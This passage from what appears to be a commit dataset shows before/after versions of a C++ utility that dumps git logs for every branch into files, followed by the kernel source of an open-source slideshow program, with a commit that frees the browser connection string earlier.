boost;\n\nvoid execfunction(char **argv, string command)\n{\n\tint pid = fork();\n\tif(-1 == pid)\n\t{\n\t\tperror(\"There was an error with fork(). \");\n\t}\n\telse if(pid == 0)\n\t{\n\t\tif(-1 == execvp(command.c_str(), argv))\n\t\t{\n\t\t\tperror(\"There was an error with execvp() \");\n\t\t\texit(1);\n\t\t}\n\t\t_exit(0);\n\t}\n\telse\n\t{\n\t\tint status;\n\t\twait(&status);\n\t\tif(-1 == status)\n\t\t{\n\t\t\tperror(\"There was an error with wait(). \");\n\t\t}\n\t}\n}\n\nint main()\n{\n\tint savestdout;\n\tif(-1 == (savestdout = dup(1)))\n\t{\n\t\tperror(\"There was an error with dup(). \");\n\t}\n\tif(-1 == close(1))\n\t{\n\t\tperror(\"There was an error with close(). \");\n\t}\n\tvector<string> branches;\n\t\/\/call execvp to run git branch\n\tstring file_name = \"tempfile\";\n\tint write_to;\n\tchar **argv = new char*[3];\n\targv[0] = const_cast<char*>(\"git\");\n\targv[1] = const_cast<char*>(\"branch\");\n\targv[2] = 0;\n\tif(-1 == (write_to = open(file_name.c_str() , O_CREAT | O_WRONLY | O_APPEND | O_TRUNC, S_IRUSR | S_IWUSR)))\n\t{\n\t\tperror(\"There was an error with open(). \");\n\t\texit(1);\n\t}\n\texecfunction(argv, \"git\");\n\tdelete []argv;\n\tif(-1 == close(write_to))\n\t{\n\t\tperror(\"There was an error with close(). \");\n\t}\n\tif(-1 == dup2(savestdout, 1))\n\t{\n\t\tperror(\"There was an error with dup2(). \");\n\t}\n\tint read_from;\n\tif(-1 == (read_from = open(file_name.c_str(), O_RDONLY)))\n\t{\n\t\tperror(\"There was an error with open(). \");\n\t}\n\tint size;\n\tchar c[BUFSIZ];\n\tif(-1 == (size = read(read_from, &c, BUFSIZ))) \n\t{\n\t\tperror(\"There was an error with read(). \");\n\t}\n\twhile(size > 0)\n\t{\n\t\tbranches.push_back(string(c));\n\t\tif(-1 == (size = read(read_from, &c, BUFSIZ))) \n\t\t{\n\t\t\tperror(\"There was an error with read(). \");\n\t\t}\n\t}\n\tif(-1 == close(read_from))\n\t{\n\t\tperror(\"There was an error with close(). \");\n\t}\n\t\/\/take all branch names and put into vector\n\t\/\/for each branch name, call execvp git checkout branchname\n\tstring currBranch;\n\tfor(unsigned int i = 0; i < branches.size(); ++i)\n\t{\n\t\tif((branches.at(i)).at(0) == '*')\n\t\t{\n\t\t\tcurrBranch = (branches.at(i)).substr(2, (branches.at(i)).size()-3);\n\t\t}\n\t\tbranches.at(i) = (branches.at(i)).substr(2, (branches.at(i)).size()-3);\n\t\tcout << branches.at(i) << endl;\n\t}\n\targv = new char*[3];\n\targv[0] = const_cast<char*>(\"rm\");\n\targv[1] = const_cast<char*>(file_name.c_str());\n\targv[2] = 0;\n\texecfunction(argv, \"rm\");\n\tdelete []argv;\n\t\/\/then open\/create a file called branchname for whatever branch we are on\n\tif(-1 == (savestdout = dup(1)))\n\t{\n\t\tperror(\"There was an error with dup(). \");\n\t}\n\tif(-1 == close(1))\n\t{\n\t\tperror(\"There was an error with close(). \");\n\t}\n\tint changed = 0;\n\tfor(unsigned int i = 0; i < branches.size(); ++i)\n\t{\n\t\tif(currBranch != branches.at(i))\n\t\t{\n\t\t\targv = new char*[4];\n\t\t\targv[0] = const_cast<char*>(\"git\");\n\t\t\targv[1] = const_cast<char*>(\"checkout\");\n\t\t\targv[2] = const_cast<char*>((branches.at(i)).c_str());\n\t\t\targv[3] = 0;\n\t\t\texecfunction(argv, \"git\");\n\t\t\tdelete []argv;\n\t\t\tchanged++;\n\t\t}\n\t\tstring name = branches.at(i);\n\t\tname += \"Branch\";\n\t\tif(-1 == (write_to = open(name.c_str() , O_CREAT | O_WRONLY | O_APPEND | O_TRUNC, S_IRUSR | S_IWUSR)))\n\t\t{\n\t\t\tperror(\"There was an error with open(). \");\n\t\t\texit(1);\n\t\t}\n\t\targv = new char*[3];\n\t\targv[0] = const_cast<char*>(\"git\");\n\t\targv[1] = const_cast<char*>(\"log\");\n\t\targv[2] = 0;\n\t\texecfunction(argv, \"git\");\n\t\tdelete []argv;\n\t\tif(-1 == close(write_to))\n\t\t{\n\t\t\tperror(\"There was an error with close(). \");\n\t\t}\n\t}\n\tif(-1 == dup2(savestdout, 1))\n\t{\n\t\tperror(\"There was an error with dup2(). \");\n\t}\n\tif(changed > 0)\n\t{\n\t\targv = new char*[4];\n\t\targv[0] = const_cast<char*>(\"git\");\n\t\targv[1] = const_cast<char*>(\"checkout\");\n\t\targv[2] = const_cast<char*>(currBranch.c_str());\n\t\targv[3] = 0;\n\t\texecfunction(argv, \"git\");\n\t\tdelete []argv;\n\t}\n\t\/\/then call execvp git log to have all the output go to file\n\t\/\/close file\n\treturn 0;\n}\n<commit_msg>updated fork<commit_after>#include <iostream>\n#include <string>\n#include <unistd.h>\n#include <sys\/types.h>\n#include <sys\/wait.h>\n#include <stdio.h>\n#include <string.h>\n#include <cstring>\n#include <wait.h>\n#include <vector>\n#include <fcntl.h>\n#include <cstdlib>\n#include <errno.h>\n#include <fstream>\n#include <sys\/stat.h>\n#include <boost\/algorithm\/string\/trim.hpp>\n#include <boost\/algorithm\/string.hpp>\n\nusing namespace std;\nusing namespace boost;\n\nvoid execfunction(char **argv, string command)\n{\n\tint pid = fork();\n\tif(-1 == pid)\n\t{\n\t\tperror(\"There was an error with fork(). \");\n\t}\n\telse if(pid == 0)\n\t{\n\t\tif(-1 == execvp(command.c_str(), argv))\n\t\t{\n\t\t\tperror(\"There was an error with execvp() \");\n\t\t\texit(1);\n\t\t}\n\t\t_exit(0);\n\t}\n\telse\n\t{\n\t\tint status;\n\t\twait(&status);\n\t\tif(-1 == status)\n\t\t{\n\t\t\tperror(\"There was an error with wait(). \");\n\t\t}\n\t}\n}\n\nint main()\n{\n\tint savestdout;\n\tif(-1 == (savestdout = dup(1)))\n\t{\n\t\tperror(\"There was an error with dup(). \");\n\t}\n\tif(-1 == close(1))\n\t{\n\t\tperror(\"There was an error with close(). \");\n\t}\n\tvector<string> branches;\n\t\/\/call execvp to run git branch\n\tchar file_name[7] = {'X','X','X','X','X','X',0}; \n\tint write_to;\n\tchar **argv = new char*[3];\n\targv[0] = const_cast<char*>(\"git\");\n\targv[1] = const_cast<char*>(\"branch\");\n\targv[2] = 0;\n\tif(-1 == (write_to = mkstemp(file_name))) {\n\t\tperror(\"There was an error with mkstemp(). \");\n\t\texit(1);\n\t}\n\n\texecfunction(argv, \"git\");\n\tdelete []argv;\n\tif(-1 == close(write_to))\n\t{\n\t\tperror(\"There was an error with close(). \");\n\t}\n\tif(-1 == dup2(savestdout, 1))\n\t{\n\t\tperror(\"There was an error with dup2(). \");\n\t}\n\tstring line;\n\tifstream myfile(file_name);\n\twhile(myfile.good())\n\t{\n\t\tgetline(myfile, line);\n\t\tbranches.push_back(line);\n\t}\n\tmyfile.close();\n\targv = new char*[3];\n\targv[0] = const_cast<char*>(\"rm\");\n\targv[1] = const_cast<char*>(file_name);\n\targv[2] = 0;\n\texecfunction(argv, \"rm\");\n\tdelete []argv;\n\t\/\/take all branch names and put into vector\n\t\/\/for each branch name, call execvp git checkout branchname\n\tstring currBranch;\n\tstring temp;\n\tfor(unsigned int i = 0; i < branches.size()-1; ++i)\n\t{\n\t\ttemp = branches.at(i);\n\t\tif(temp.at(0) == '*')\n\t\t{\n\t\t\tcurrBranch = (temp).substr(2, temp.size()-2);\n\t\t\tbranches.at(i) = currBranch;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tbranches.at(i) = (temp).substr(2, temp.size()-2);\n\t\t}\n\t\tcout << branches.at(i) << endl;\n\t}\n\t\/\/then open\/create a file called branchname for whatever branch we are on\n\tif(-1 == (savestdout = dup(1)))\n\t{\n\t\tperror(\"There was an error with dup(). \");\n\t}\n\tif(-1 == close(1))\n\t{\n\t\tperror(\"There was an error with close(). \");\n\t}\n\tint changed = 0;\n\tfor(unsigned int i = 0; i < branches.size(); ++i)\n\t{\n\t\tif(currBranch != branches.at(i))\n\t\t{\n\t\t\targv = new char*[4];\n\t\t\targv[0] = const_cast<char*>(\"git\");\n\t\t\targv[1] = const_cast<char*>(\"checkout\");\n\t\t\targv[2] = const_cast<char*>((branches.at(i)).c_str());\n\t\t\targv[3] = 0;\n\t\t\texecfunction(argv, \"git\");\n\t\t\tdelete []argv;\n\t\t\tchanged++;\n\t\t}\n\t\tstring name = branches.at(i);\n\t\tname += \"Branch\";\n\t\tif(-1 == (write_to = open(name.c_str() , O_CREAT | O_WRONLY | O_APPEND | O_TRUNC, S_IRUSR | S_IWUSR)))\n\t\t{\n\t\t\tperror(\"There was an error with open(). \");\n\t\t\texit(1);\n\t\t}\n\t\targv = new char*[3];\n\t\targv[0] = const_cast<char*>(\"git\");\n\t\targv[1] = const_cast<char*>(\"log\");\n\t\targv[2] = 0;\n\t\texecfunction(argv, \"git\");\n\t\tdelete []argv;\n\t\tif(-1 == close(write_to))\n\t\t{\n\t\t\tperror(\"There was an error with close(). \");\n\t\t}\n\t}\n\tif(-1 == dup2(savestdout, 1))\n\t{\n\t\tperror(\"There was an error with dup2(). \");\n\t}\n\tif(changed > 0)\n\t{\n\t\targv = new char*[4];\n\t\targv[0] = const_cast<char*>(\"git\");\n\t\targv[1] = const_cast<char*>(\"checkout\");\n\t\targv[2] = const_cast<char*>(currBranch.c_str());\n\t\targv[3] = 0;\n\t\texecfunction(argv, \"git\");\n\t\tdelete []argv;\n\t}\n\t\/\/then call execvp git log to have all the output go to file\n\t\/\/close file\n\treturn 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/**\n * This file is part of Slideshow.\n * Copyright (C) 2008 David Sveningsson <ext@sidvind.com>\n *\n * Slideshow is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as\n * published by the Free Software Foundation, either version 3 of the\n * License, or (at your option) any later version.\n *\n * Slideshow is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with Slideshow. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n\/\/ Internal\n#include \"config.h\"\n\n#include \"argument_parser.h\"\n#include \"module.h\"\n#include \"module_loader.h\"\n#include \"Kernel.h\"\n#include \"Graphics.h\"\n#include \"OS.h\"\n#include \"Log.h\"\n#include \"Exceptions.h\"\n#include \"Transition.h\"\n\n\/\/ IPC\n#include \"IPC\/dbus.h\"\n\n\/\/ FSM\n#include \"state\/State.h\"\n#include \"state\/InitialState.h\"\n#include \"state\/SwitchState.h\"\n#include \"state\/TransitionState.h\"\n#include \"state\/ViewState.h\"\n\n\/\/ libportable\n#include <portable\/Time.h>\n#include <portable\/Process.h>\n#include <portable\/string.h>\n\n\/\/ libc\n#include <cstdlib>\n#include <cstdio>\n#include <cstring>\n\n\/\/ Platform\n#include <sys\/wait.h>\n#include <signal.h>\n#include <X11\/Xlib.h>\n#include <dirent.h>\n#include <fnmatch.h>\n\n#ifdef LINUX\n\/\/#include <sys\/time.h>\n#endif\n\n#ifdef WIN32\n#include <windows.h>\n#endif\n\nbool* daemon_running = NULL;\n\nstatic const int mode_normal = 0;\nstatic const int mode_list_transitions = 1;\n\nvoid quit_signal(int){\n\tLog::message(Log::Verbose, \"Caught SIGQUIT\\n\");\n\tsignal(SIGQUIT, quit_signal);\n\t*daemon_running = false;\n}\n\nKernel::Kernel(int argc, const char* argv[]):\n\t_width(800),\n\t_height(600),\n\t_frames(0),\n\t_bin_id(1),\n\t_fullscreen(0),\n\t_daemon(0),\n\t_verbose(1),\n\t_stdin(0),\n\t_mode(mode_normal),\n\t_transition_name(NULL),\n\t_transition_time(3.0f),\n\t_switch_time(5.0f),\n\t_graphics(NULL),\n\t_browser(NULL),\n\t_ipc(NULL),\n\t_browser_string(NULL),\n\t_logfile(\"slideshow.log\"){\n\n\tinitTime();\n\tmoduleloader_init();\n\n\tif ( !parse_argv(argc, argv) ){\n\t\tthrow ArgumentException(\"\");\n\t}\n\n\tswitch ( _mode ){\n\t\tcase mode_list_transitions:\n\t\t\tprint_transitions();\n\t\t\tthrow ExitException();\n\t}\n\n\tif ( !daemon() ){\n\t\tprint_licence_statement();\n\t}\n\n\tLog::initialize(_logfile);\n\tLog::set_level( (Log::Severity)_verbose );\n\n\tprint_cli_arguments(argc, argv);\n\n\tLog::flush();\n\n\t\/\/\/@todo HACK! Attempt to connect to an xserver.\n\tDisplay* dpy = XOpenDisplay(NULL);\n\tif( !dpy ) {\n\t\tthrow XlibException(\"Could not connect to an X server\\n\");\n\t}\n\tXCloseDisplay(dpy);\n\n\tLog::message(Log::Info, \"Kernel: Starting slideshow\\n\");\n\n\tif ( daemon() ){\n\t\tstart_daemon();\n\t}\n\n\tinit_graphics();\n\tinit_IPC();\n\tinit_browser();\n\tinit_fsm();\n}\n\nKernel::~Kernel(){\n\tif ( daemon() ){\n\t\tPortable::daemon_stop(PACKAGE_NAME);\n\t}\n\n\tdelete _browser;\n\tdelete _graphics;\n\tdelete _ipc;\n\n\tmoduleloader_cleanup();\n\n\tfree( _browser_string );\n\n\t_browser = NULL;\n\t_graphics = NULL;\n\t_ipc = NULL;\n\n\tLog::deinitialize();\n}\n\nvoid Kernel::init_graphics(){\n\t_graphics = new Graphics(_width, _height, _fullscreen);\n\tload_transition( _transition_name ? _transition_name : \"fade\" );\n}\n\nvoid Kernel::init_IPC(){\n\t_ipc = new DBus(this, 50);\n}\n\nvoid Kernel::init_browser(){\n\tchar* password = NULL;\n\tif ( _stdin ){\n\t\tpassword = (char*)malloc(256);\n\t\tscanf(\"%256s\", password);\n\t}\n\n\t_browser = Browser::factory(_browser_string, password);\n\n\tfree(password);\n\n\tif ( browser() ){\n\t\tbrowser()->change_bin(_bin_id);\n\t\tbrowser()->reload();\n\t} else {\n\t\tLog::message(Log::Warning, \"No browser selected, you will not see any slides\\n\");\n\t}\n}\n\nvoid Kernel::init_fsm(){\n\tTransitionState::set_transition_time(_transition_time);\n\tViewState::set_view_time(_switch_time);\n\t_state = new InitialState(_browser, _graphics, _ipc);\n}\n\nvoid Kernel::load_transition(const char* name){\n\tstruct module_context_t* context = module_open(name);\n\n\tif ( !context ){\n\t\tprintf(\"Transition plugin not found\\n\");\n\t\treturn;\n\t}\n\n\tif ( module_type(context) != TRANSITION_MODULE ){\n\t\tprintf(\"Plugin is not a transition module not found\\n\");\n\t\treturn;\n\t}\n\n\ttransition_module_t* m = (transition_module_t*)module_get(context);\n\t_graphics->set_transition(m);\n}\n\nvoid Kernel::start_daemon(){\n\tPortable::daemonize(PACKAGE_NAME);\n\n\tif ( signal(SIGQUIT, quit_signal) == SIG_ERR ){\n\t\tLog::message(Log::Fatal, \"Kernel: Could not initialize signal handler!\\n\");\n\t\texit(3);\n\t}\n\n\t\/\/\/@ hack\n\tdaemon_running = &_running;\n}\n\nvoid Kernel::print_licence_statement(){\n\tprintf(\"Slideshow Copyright (C) 2008 David Sveningsson <ext@sidvind.com>\\n\");\n\tprintf(\"This program comes with ABSOLUTELY NO WARRANTY.\\n\");\n\tprintf(\"This is free software, and you are welcome to redistribute it\\n\");\n\tprintf(\"under certain conditions; see COPYING or <http:\/\/www.gnu.org\/licenses\/>\\n\");\n\tprintf(\"for details.\\n\");\n}\n\nvoid Kernel::print_cli_arguments(int argc, const char* argv[]){\n\tLog::message_begin(Log::Verbose);\n\tLog::message_ex(\"Starting with \\\"\");\n\n\tfor ( int i = 1; i < argc; i++ ){\n\t\tif ( i > 1 ){\n\t\t\tLog::message_ex(\" \");\n\t\t}\n\t\tLog::message_ex_fmt(\"%s\", argv[i]);\n\t}\n\tLog::message_ex(\"\\n\");\n}\n\nstatic int filter(const struct dirent* el){\n\treturn fnmatch(\"*.la\", el->d_name, 0) == 0;\n}\n\nvoid Kernel::print_transitions(){\n\tstruct dirent **namelist;\n\tint n;\n\n\tn = scandir(pluginpath(), &namelist, filter, alphasort);\n\tif (n < 0){\n\t\tperror(\"scandir\");\n\t} else {\n\t\tprintf(\"Available transitions: \\n\");\n\t\tfor ( int i = 0; i < n; i++ ){\n\t\t\tchar* path;\n\t\t\tasprintf(&path, \"%s\/%s\", pluginpath(), namelist[i]->d_name);\n\t\t\tfree(namelist[i]);\n\n\t\t\tstruct module_context_t* context = module_open(path);\n\n\t\t\tif ( !context ){\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tif ( module_type(context) != TRANSITION_MODULE ){\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tprintf(\"%s\\n\", module_get_name(context));\n\n\t\t\tmodule_close(context);\n\t\t}\n\t\tfree(namelist);\n\t}\n}\n\nvoid Kernel::run(){\n\t_running = true;\n\n\t_last_switch = getTime();\n\t_transition_start = 0.0f;\n\n\twhile ( _running ){\n\t\tOS::poll_events(_running);\n\t\t_state = _state->action();\n\t}\n}\n\nbool Kernel::parse_argv(int argc, const char* argv[]){\n\toption_set_t options;\n\toption_initialize(&options, argc, argv);\n\n\toption_set_description(&options, \"Slideshow is an application for showing text and images in a loop on monitors and projectors.\");\n\n\toption_add_flag(&options,\t\"verbose\",\t\t\t'v', \"Explain what is being done\", &_verbose, 0);\n\toption_add_flag(&options,\t\"quiet\",\t\t\t'q', \"Explain what is being done\", &_verbose, 2);\n\toption_add_flag(&options,\t\"fullscreen\",\t\t'f', \"Start in fullscreen mode\", &_fullscreen, 1);\n\toption_add_flag(&options,\t\"daemon\",\t\t\t'd', \"Run in background\", &_daemon, 1);\n\toption_add_flag(&options,\t\"list-transitions\",\t 0, \"List available transitions\", &_mode, mode_list_transitions);\n\toption_add_flag(&options,\t\"stdin-password\",\t 0, \"Except the input (e.g database password) to come from stdin\", &_stdin, 1);\n\toption_add_string(&options,\t\"browser\",\t\t\t 0, \"Browser connection string. provider:\/\/user[:pass]@host[:port]\/name\", &_browser_string);\n\toption_add_string(&options,\t\"transition\",\t\t't', \"Set slide transition plugin [fade]\", &_transition_name);\n\toption_add_int(&options,\t\"collection-id\",\t'c', \"ID of the collection to display\", &_bin_id);\n\toption_add_format(&options,\t\"resolution\",\t\t'r', \"Resolution\", \"WIDTHxHEIGHT\", \"%dx%d\", &_width, &_height);\n\n\tint n = option_parse(&options);\n\toption_finalize(&options);\n\n\tif ( n < 0 ){\n\t\treturn false;\n\t}\n\n\tif ( n != argc ){\n\t\tprintf(\"%d %d\\n\", n, argc);\n\t\tprintf(\"%s: unrecognized option '%s'\\n\", argv[0], argv[n+1]);\n\t\tprintf(\"Try `%s --help' for more information.\\n\", argv[0]);\n\t\treturn false;\n\t}\n\n\treturn true;\n}\n\nvoid Kernel::play_video(const char* fullpath){\n\tLog::message(Log::Info, \"Kernel: Playing video \\\"%s\\\"\\n\", fullpath);\n\n\tint status;\n\n\tif ( fork() == 0 ){\n\t\texeclp(\"mplayer\", \"\", \"-fs\", \"-really-quiet\", fullpath, NULL);\n\t\texit(0);\n\t}\n\n\t::wait(&status);\n}\n\nvoid Kernel::quit(){\n\t_running = false;\n}\n\nvoid Kernel::reload_browser(){\n\t_browser->reload();\n}\n\nvoid Kernel::change_bin(unsigned int id){\n\tLog::message(Log::Verbose, \"Kernel: Switching to collection %d\\n\", id);\n\t_browser->change_bin(id);\n\t_browser->reload();\n}\n\nvoid Kernel::ipc_quit(){\n\tdelete _ipc;\n\t_ipc = NULL;\n}\n\nvoid Kernel::debug_dumpqueue(){\n\t_browser->dump_queue();\n}\n\nchar* Kernel::real_path(const char* filename){\n\tchar* dst;\n\n\tif ( filename[0] == '\/' ){\n\t\tdst = (char*)malloc(strlen(filename)+1);\n\t\tstrcpy(dst, filename);\n\t} else {\n\t\tif ( asprintf(&dst, \"%s\/%s\", datapath(), filename) == -1 ){\n\t\t\tLog::message(Log::Fatal, \"Memory allocation failed!\");\n\t\t\treturn NULL;\n\t\t}\n\t}\n\n\treturn dst;\n}\n\nconst char* Kernel::datapath(){\n\tconst char* path = getenv(\"SLIDESHOW_DATA_DIR\");\n\tif ( !path ){\n\t\tpath = DATA_DIR;\n\t}\n\treturn path;\n}\n\nconst char* Kernel::pluginpath(){\n\tconst char* path = getenv(\"SLIDESHOW_PLUGIN_DIR\");\n\tif ( !path ){\n\t\tpath = PLUGIN_DIR;\n\t}\n\treturn path;\n}\n<commit_msg>Releasing _browser_string as early as possible<commit_after>\/**\n * This file is part of Slideshow.\n * Copyright (C) 2008 David Sveningsson <ext@sidvind.com>\n *\n * Slideshow is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as\n * published by the Free Software Foundation, either version 3 of the\n * License, or (at your option) any later version.\n *\n * Slideshow is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with Slideshow. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n\/\/ Internal\n#include \"config.h\"\n\n#include \"argument_parser.h\"\n#include \"module.h\"\n#include \"module_loader.h\"\n#include \"Kernel.h\"\n#include \"Graphics.h\"\n#include \"OS.h\"\n#include \"Log.h\"\n#include \"Exceptions.h\"\n#include \"Transition.h\"\n\n\/\/ IPC\n#include \"IPC\/dbus.h\"\n\n\/\/ FSM\n#include \"state\/State.h\"\n#include \"state\/InitialState.h\"\n#include \"state\/SwitchState.h\"\n#include \"state\/TransitionState.h\"\n#include \"state\/ViewState.h\"\n\n\/\/ libportable\n#include <portable\/Time.h>\n#include <portable\/Process.h>\n#include <portable\/string.h>\n\n\/\/ libc\n#include <cstdlib>\n#include <cstdio>\n#include <cstring>\n\n\/\/ Platform\n#include <sys\/wait.h>\n#include <signal.h>\n#include <X11\/Xlib.h>\n#include <dirent.h>\n#include <fnmatch.h>\n\n#ifdef LINUX\n\/\/#include <sys\/time.h>\n#endif\n\n#ifdef WIN32\n#include <windows.h>\n#endif\n\nbool* daemon_running = NULL;\n\nstatic const int mode_normal = 0;\nstatic const int mode_list_transitions = 1;\n\nvoid quit_signal(int){\n\tLog::message(Log::Verbose, \"Caught SIGQUIT\\n\");\n\tsignal(SIGQUIT, quit_signal);\n\t*daemon_running = false;\n}\n\nKernel::Kernel(int argc, const char* argv[]):\n\t_width(800),\n\t_height(600),\n\t_frames(0),\n\t_bin_id(1),\n\t_fullscreen(0),\n\t_daemon(0),\n\t_verbose(1),\n\t_stdin(0),\n\t_mode(mode_normal),\n\t_transition_name(NULL),\n\t_transition_time(3.0f),\n\t_switch_time(5.0f),\n\t_graphics(NULL),\n\t_browser(NULL),\n\t_ipc(NULL),\n\t_browser_string(NULL),\n\t_logfile(\"slideshow.log\"){\n\n\tinitTime();\n\tmoduleloader_init();\n\n\tif ( !parse_argv(argc, argv) ){\n\t\tthrow ArgumentException(\"\");\n\t}\n\n\tswitch ( _mode ){\n\t\tcase mode_list_transitions:\n\t\t\tprint_transitions();\n\t\t\tthrow ExitException();\n\t}\n\n\tif ( !daemon() ){\n\t\tprint_licence_statement();\n\t}\n\n\tLog::initialize(_logfile);\n\tLog::set_level( (Log::Severity)_verbose );\n\n\tprint_cli_arguments(argc, argv);\n\n\tLog::flush();\n\n\t\/\/\/@todo HACK! Attempt to connect to an xserver.\n\tDisplay* dpy = XOpenDisplay(NULL);\n\tif( !dpy ) {\n\t\tthrow XlibException(\"Could not connect to an X server\\n\");\n\t}\n\tXCloseDisplay(dpy);\n\n\tLog::message(Log::Info, \"Kernel: Starting slideshow\\n\");\n\n\tif ( daemon() ){\n\t\tstart_daemon();\n\t}\n\n\tinit_graphics();\n\tinit_IPC();\n\tinit_browser();\n\tinit_fsm();\n}\n\nKernel::~Kernel(){\n\tif ( daemon() ){\n\t\tPortable::daemon_stop(PACKAGE_NAME);\n\t}\n\n\tdelete _browser;\n\tdelete _graphics;\n\tdelete _ipc;\n\n\tmoduleloader_cleanup();\n\n\t_browser = NULL;\n\t_graphics = NULL;\n\t_ipc = NULL;\n\n\tLog::deinitialize();\n}\n\nvoid Kernel::init_graphics(){\n\t_graphics = new Graphics(_width, _height, _fullscreen);\n\tload_transition( _transition_name ? _transition_name : \"fade\" );\n}\n\nvoid Kernel::init_IPC(){\n\t_ipc = new DBus(this, 50);\n}\n\nvoid Kernel::init_browser(){\n\tchar* password = NULL;\n\tif ( _stdin ){\n\t\tpassword = (char*)malloc(256);\n\t\tscanf(\"%256s\", password);\n\t}\n\n\t_browser = Browser::factory(_browser_string, password);\n\n\n\tfree(_browser_string);\n\tfree(password);\n\n\t_browser_string = NULL;\n\n\tif ( browser() ){\n\t\tbrowser()->change_bin(_bin_id);\n\t\tbrowser()->reload();\n\t} else {\n\t\tLog::message(Log::Warning, \"No browser selected, you will not see any slides\\n\");\n\t}\n}\n\nvoid Kernel::init_fsm(){\n\tTransitionState::set_transition_time(_transition_time);\n\tViewState::set_view_time(_switch_time);\n\t_state = new InitialState(_browser, _graphics, _ipc);\n}\n\nvoid Kernel::load_transition(const char* name){\n\tstruct module_context_t* context = module_open(name);\n\n\tif ( !context ){\n\t\tprintf(\"Transition plugin not found\\n\");\n\t\treturn;\n\t}\n\n\tif ( module_type(context) != TRANSITION_MODULE ){\n\t\tprintf(\"Plugin is not a transition module not found\\n\");\n\t\treturn;\n\t}\n\n\ttransition_module_t* m = (transition_module_t*)module_get(context);\n\t_graphics->set_transition(m);\n}\n\nvoid Kernel::start_daemon(){\n\tPortable::daemonize(PACKAGE_NAME);\n\n\tif ( signal(SIGQUIT, quit_signal) == SIG_ERR ){\n\t\tLog::message(Log::Fatal, \"Kernel: Could not initialize signal handler!\\n\");\n\t\texit(3);\n\t}\n\n\t\/\/\/@ hack\n\tdaemon_running = &_running;\n}\n\nvoid Kernel::print_licence_statement(){\n\tprintf(\"Slideshow Copyright (C) 2008 David Sveningsson <ext@sidvind.com>\\n\");\n\tprintf(\"This program comes with ABSOLUTELY NO WARRANTY.\\n\");\n\tprintf(\"This is free software, and you are welcome to redistribute it\\n\");\n\tprintf(\"under certain conditions; see COPYING or <http:\/\/www.gnu.org\/licenses\/>\\n\");\n\tprintf(\"for details.\\n\");\n}\n\nvoid Kernel::print_cli_arguments(int argc, const char* argv[]){\n\tLog::message_begin(Log::Verbose);\n\tLog::message_ex(\"Starting with \\\"\");\n\n\tfor ( int i = 1; i < argc; i++ ){\n\t\tif ( i > 1 ){\n\t\t\tLog::message_ex(\" \");\n\t\t}\n\t\tLog::message_ex_fmt(\"%s\", argv[i]);\n\t}\n\tLog::message_ex(\"\\n\");\n}\n\nstatic int filter(const struct dirent* el){\n\treturn fnmatch(\"*.la\", el->d_name, 0) == 0;\n}\n\nvoid Kernel::print_transitions(){\n\tstruct dirent **namelist;\n\tint n;\n\n\tn = scandir(pluginpath(), &namelist, filter, alphasort);\n\tif (n < 0){\n\t\tperror(\"scandir\");\n\t} else {\n\t\tprintf(\"Available transitions: \\n\");\n\t\tfor ( int i = 0; i < n; i++ ){\n\t\t\tchar* path;\n\t\t\tasprintf(&path, \"%s\/%s\", pluginpath(), namelist[i]->d_name);\n\t\t\tfree(namelist[i]);\n\n\t\t\tstruct module_context_t* context = module_open(path);\n\n\t\t\tif ( !context ){\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tif ( module_type(context) != TRANSITION_MODULE ){\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tprintf(\"%s\\n\", module_get_name(context));\n\n\t\t\tmodule_close(context);\n\t\t}\n\t\tfree(namelist);\n\t}\n}\n\nvoid Kernel::run(){\n\t_running = true;\n\n\t_last_switch = getTime();\n\t_transition_start = 0.0f;\n\n\twhile ( _running ){\n\t\tOS::poll_events(_running);\n\t\t_state = _state->action();\n\t}\n}\n\nbool Kernel::parse_argv(int argc, const char* argv[]){\n\toption_set_t options;\n\toption_initialize(&options, argc, argv);\n\n\toption_set_description(&options, \"Slideshow is an application for showing text and images in a loop on monitors and projectors.\");\n\n\toption_add_flag(&options,\t\"verbose\",\t\t\t'v', \"Explain what is being done\", &_verbose, 0);\n\toption_add_flag(&options,\t\"quiet\",\t\t\t'q', \"Explain what is being done\", &_verbose, 2);\n\toption_add_flag(&options,\t\"fullscreen\",\t\t'f', \"Start in fullscreen mode\", &_fullscreen, 1);\n\toption_add_flag(&options,\t\"daemon\",\t\t\t'd', \"Run in background\", &_daemon, 1);\n\toption_add_flag(&options,\t\"list-transitions\",\t 0, \"List available transitions\", &_mode, mode_list_transitions);\n\toption_add_flag(&options,\t\"stdin-password\",\t 0, \"Except the input (e.g database password) to come from stdin\", &_stdin, 1);\n\toption_add_string(&options,\t\"browser\",\t\t\t 0, \"Browser connection string. provider:\/\/user[:pass]@host[:port]\/name\", &_browser_string);\n\toption_add_string(&options,\t\"transition\",\t\t't', \"Set slide transition plugin [fade]\", &_transition_name);\n\toption_add_int(&options,\t\"collection-id\",\t'c', \"ID of the collection to display\", &_bin_id);\n\toption_add_format(&options,\t\"resolution\",\t\t'r', \"Resolution\", \"WIDTHxHEIGHT\", \"%dx%d\", &_width, &_height);\n\n\tint n = option_parse(&options);\n\toption_finalize(&options);\n\n\tif ( n < 0 ){\n\t\treturn false;\n\t}\n\n\tif ( n != argc ){\n\t\tprintf(\"%d %d\\n\", n, argc);\n\t\tprintf(\"%s: unrecognized option '%s'\\n\", argv[0], argv[n+1]);\n\t\tprintf(\"Try `%s --help' for more information.\\n\", argv[0]);\n\t\treturn false;\n\t}\n\n\treturn true;\n}\n\nvoid Kernel::play_video(const char* fullpath){\n\tLog::message(Log::Info, \"Kernel: Playing video \\\"%s\\\"\\n\", fullpath);\n\n\tint 